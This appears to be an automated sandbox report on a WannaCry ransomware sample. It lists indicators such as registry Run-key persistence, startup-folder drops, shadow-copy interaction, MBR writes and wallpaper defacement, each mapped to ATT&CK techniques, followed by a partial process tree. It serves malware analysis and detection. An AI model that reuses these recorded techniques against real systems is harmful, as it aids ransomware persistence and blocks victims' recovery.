wannacry | 784403081f9a839188a4543676894a2d5a9e59ecb9c7038523866c9d054afe9a

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	mbsetup-50010.50010.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	mbsetup-50010.50010.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD9DBA.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD9DCE.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Executes dropped EXE 36 IoCs

pid	Process
2188	python-3.13.0-amd64.exe
1884	python-3.13.0-amd64.exe
1720	python-3.13.0-amd64 (2).exe
3064	python-3.13.0-amd64 (2).exe
1672	taskdl.exe
2608	@[email protected]
976	@[email protected]
2420	taskhsvc.exe
2156	@[email protected]
1148	taskdl.exe
876	taskse.exe
1436	@[email protected]
1528	taskdl.exe
2052	taskse.exe
2672	@[email protected]
2436	mbsetup-50010.50010.exe
576	taskdl.exe
1292	taskse.exe
1920	@[email protected]
576	avast_one_free_antivirus.exe
540	avast_one_essential_setup_online_x64.exe
1672	taskse.exe
2816	@[email protected]
484	taskdl.exe
3584	taskse.exe
3788	@[email protected]
3800	taskdl.exe
3768	taskse.exe
3932	@[email protected]
3920	taskdl.exe
4064	taskse.exe
4080	@[email protected]
2160	taskdl.exe
2188	taskse.exe
2312	@[email protected]
4072	taskdl.exe

Loads dropped DLL 64 IoCs

pid	Process
2188	python-3.13.0-amd64.exe
1884	python-3.13.0-amd64.exe
1720	python-3.13.0-amd64 (2).exe
3064	python-3.13.0-amd64 (2).exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2584	cscript.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2440	cmd.exe
2440	cmd.exe
2608	@[email protected]
2608	@[email protected]
2420	taskhsvc.exe
2420	taskhsvc.exe
2420	taskhsvc.exe
2420	taskhsvc.exe
2420	taskhsvc.exe
2420	taskhsvc.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
576	avast_one_free_antivirus.exe
576	avast_one_free_antivirus.exe
1172	Process not Found
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
2184	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1488	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\xzylnmtyo879 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Temp1_Ransomware.WannaCry.zip\\tasksche.exe\""	reg.exe

Checks for any installed AV software in registry 1 TTPs 3 IoCs

Security Software Discovery

T1518.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Software\AVAST Software\Avast	avast_one_essential_setup_online_x64.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Avast Software\Avast	avast_one_essential_setup_online_x64.exe
Key opened	\Registry\MACHINE\SOFTWARE\Avast Software\Avast	avast_one_essential_setup_online_x64.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	avast_one_essential_setup_online_x64.exe
File opened for modification	\??\PhysicalDrive0	avast_one_free_antivirus.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\mbamtestfile.dat	mbsetup-50010.50010.exe
File created	C:\Program Files (x86)\mbamtestfile.dat	mbsetup-50010.50010.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4572	sc.exe
4668	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhsvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.13.0-amd64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vssadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cscript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbsetup-50010.50010.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	avast_one_free_antivirus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.13.0-amd64 (2).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.13.0-amd64 (2).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	@[email protected]
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.13.0-amd64.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	avast_one_essential_setup_online_x64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	avast_one_essential_setup_online_x64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	avast_one_essential_setup_online_x64.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	avast_one_essential_setup_online_x64.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2688	timeout.exe
2772	timeout.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1328	vssadmin.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
2512	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2876	chrome.exe
2876	chrome.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2876	chrome.exe
2876	chrome.exe
2420	taskhsvc.exe
2420	taskhsvc.exe
2420	taskhsvc.exe
1144	chrome.exe
1144	chrome.exe
2436	mbsetup-50010.50010.exe
3692	chrome.exe
3692	chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2156	@[email protected]

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe
Token: SeShutdownPrivilege	2876	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2876	chrome.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
2564	taskmgr.exe
1144	chrome.exe
1144	chrome.exe
1144	chrome.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
2608	@[email protected]
2608	@[email protected]
976	@[email protected]
976	@[email protected]
2156	@[email protected]
2156	@[email protected]
1436	@[email protected]
2672	@[email protected]
1920	@[email protected]
2816	@[email protected]
3788	@[email protected]
3932	@[email protected]
4080	@[email protected]
2312	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 2384	2904	cmd.exe	31
PID 2904 wrote to memory of 2384	2904	cmd.exe	31
PID 2904 wrote to memory of 2384	2904	cmd.exe	31
PID 2904 wrote to memory of 2688	2904	cmd.exe	32
PID 2904 wrote to memory of 2688	2904	cmd.exe	32
PID 2904 wrote to memory of 2688	2904	cmd.exe	32
PID 2904 wrote to memory of 2772	2904	cmd.exe	33
PID 2904 wrote to memory of 2772	2904	cmd.exe	33
PID 2904 wrote to memory of 2772	2904	cmd.exe	33
PID 2876 wrote to memory of 2776	2876	chrome.exe	35
PID 2876 wrote to memory of 2776	2876	chrome.exe	35
PID 2876 wrote to memory of 2776	2876	chrome.exe	35
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2256	2876	chrome.exe	37
PID 2876 wrote to memory of 2892	2876	chrome.exe	38
PID 2876 wrote to memory of 2892	2876	chrome.exe	38
PID 2876 wrote to memory of 2892	2876	chrome.exe	38
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39
PID 2876 wrote to memory of 1876	2876	chrome.exe	39

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2288	attrib.exe
2596	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\cmd.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2384
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2688
- C:\Windows\system32\timeout.exe
  timeout /t 5
  2⤵
  - Delays execution with timeout.exe
  PID:2772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef84f9758,0x7fef84f9768,0x7fef84f9778
  2⤵
  PID:2776
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1152 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:2
  2⤵
  PID:2256
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1492 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:2892
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1580 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:8
  2⤵
  PID:1876
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2216 --field-trial-handle=1360,i,16655819823237416114,1168929088312643908,131072 /prefetch:1
  2⤵
  PID:1052
- C:\Program Files\Google\Chrome\Application\chrome.exe
